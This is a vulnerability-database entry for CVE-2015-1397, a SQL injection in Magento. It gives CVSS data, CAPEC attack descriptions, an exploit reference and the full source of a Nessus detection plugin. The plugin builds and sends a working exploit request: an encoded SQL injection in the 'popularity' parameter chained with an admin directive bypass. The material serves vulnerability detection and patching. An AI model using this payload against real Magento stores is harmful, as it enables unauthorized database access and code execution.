Vulnerabilities > CVE-2015-1397 - SQL Injection vulnerability in Magento 1.14.1.0/1.9.1.0

047910
CVSS 6.5 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
SINGLE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
magento
CWE-89
nessus
exploit available

Summary

SQL injection vulnerability in the getCsvFile function in the Mage_Adminhtml_Block_Widget_Grid class in Magento Community Edition (CE) 1.9.1.0 and Enterprise Edition (EE) 1.14.1.0 allows remote administrators to execute arbitrary SQL commands via the popularity[field_expr] parameter when the popularity[from] or popularity[to] parameter is set.

Vulnerable Configurations

Part Description Count
Application
Magento
2

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Command Line Execution through SQL Injection
    An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
  • Object Relational Mapping Injection
    An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject his or her own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.
  • SQL Injection through SOAP Parameter Tampering
    An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.
  • Expanding Control over the Operating System from the Database
    An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.
  • SQL Injection
    This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input. When specially crafted user-controlled input consisting of SQL syntax is used without proper validation as part of SQL queries, it is possible to glean information from the database in ways not envisaged during application design. Depending upon the database and the design of the application, it may also be possible to leverage injection to have the database execute system-related commands of the attackers' choice. SQL Injection enables an attacker to talk directly to the database, thus bypassing the application completely. Successful injection can cause information disclosure as well as ability to add or modify data in the database. In order to successfully inject SQL and retrieve information from a database, an attacker:

Exploit-Db

descriptionMagento eCommerce - Remote Code Execution. CVE-2015-1397. Webapps exploit for xml platform
idEDB-ID:37977
last seen2016-02-04
modified2015-08-26
published2015-08-26
reporterManish Tanwar
sourcehttps://www.exploit-db.com/download/37977/
titleMagento eCommerce - Remote Code Execution

Nessus

NASL familyCGI abuses
NASL idMAGENTO_SHOPLIFT_SQL_INJECTION.NASL
descriptionThe Magento application running on the remote web server is affected by a SQL injection vulnerability due to failing to properly sanitized the user-supplied range inputs to the
last seen2020-06-01
modified2020-06-02
plugin id83304
published2015-05-11
reporterThis script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/83304
titleMagento Mage_Adminhtml_Block_Report_Search_Grid Class 'popularity' Parameter SQLi
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(83304);
  script_version("1.6");
  script_cvs_date("Date: 2019/11/22");

  script_cve_id("CVE-2015-1397");
  script_bugtraq_id(74298);

  script_name(english:"Magento Mage_Adminhtml_Block_Report_Search_Grid Class 'popularity' Parameter SQLi");
  script_summary(english:"Attempts to exploit a SQLi flaw.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server is running a PHP application that is affected by
a SQL injection vulnerability.");
  script_set_attribute(attribute:"description", value:
"The Magento application running on the remote web server is affected
by a SQL injection vulnerability due to failing to properly sanitized
the user-supplied range inputs to the 'popularity' parameter of the
Mage_Adminhtml_Block_Report_Search_Grid class. An unauthenticated,
remote attacker can exploit this to execute arbitrary SQL statements
against the back-end database, leading to the execution of arbitrary
code, manipulation of data, or disclosure of sensitive information.

Note that the application is reportedly also affected by an
authentication bypass vulnerability as well as a remote file-include
vulnerability. The attack demonstrated here chains the authentication
bypass vulnerability with the SQL injection vulnerability to execute
a SQL query against the back-end database.");
  script_set_attribute(attribute:"see_also", value:"https://blog.checkpoint.com/2015/04/20/analyzing-magento-vulnerability/");
  script_set_attribute(attribute:"see_also", value:"https://magento.com/security-patch");
  script_set_attribute(attribute:"solution", value:
"Apply the SUPEE-5344 security patch.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2015-1397");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2015/04/20");
  script_set_attribute(attribute:"patch_publication_date", value:"2015/02/09");
  script_set_attribute(attribute:"plugin_publication_date", value:"2015/05/11");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:magentocommerce:magento");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:magento:magento");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("magento_detect.nbin");
  script_require_keys("www/PHP", "installed_sw/Magento");
  script_require_ports("Services/www", 80, 443);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");

app = "Magento";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install['path'];
install_url = build_url(port:port, qs:dir);

sql_str = 'popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);';

postdata = "filter=" + base64(str:sql_str) + "&___directive=" +
  base64(str:"{{block type=Adminhtml/report_search_grid output=getCsvFile}}")
  + "&forwarded=1";

res = http_send_recv3(
  method : "POST",
  port   : port,
  item   : dir + "/index.php/admin/Cms_Wysiwyg/directive/index/",
  data   : postdata,
  add_headers :make_array("Content-Type","application/x-www-form-urlencoded"),
  exit_on_fail : TRUE
);

# Check for a PNG image file type. Patched instances will return a login page
# http://www.w3.org/TR/PNG-Structure.html
# First 8 bytes contain the following (decimal) values:
# 137 80 78 71 13 10 26 10 which turns to 89 50 4e 47 0d 0a 1a 0a in hex
if (hexstr(res[2]) =~ "^89504e470d0a1a0a")
{
  rep_extra = 
    '\nNote that a patched ' +app+ ' install will return a login page, while' +
    '\na vulnerable install will return a malformed PNG image.';

  security_report_v4(
    port       : port,
    severity   : SECURITY_WARNING,
    generic    : TRUE,
    line_limit : 2,
    sqli       : TRUE,  # Sets SQLInjection KB key
    request    : make_list(http_last_sent_request()),
    output     : chomp(res[2]),
    rep_extra  : rep_extra
  );
  exit(0);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);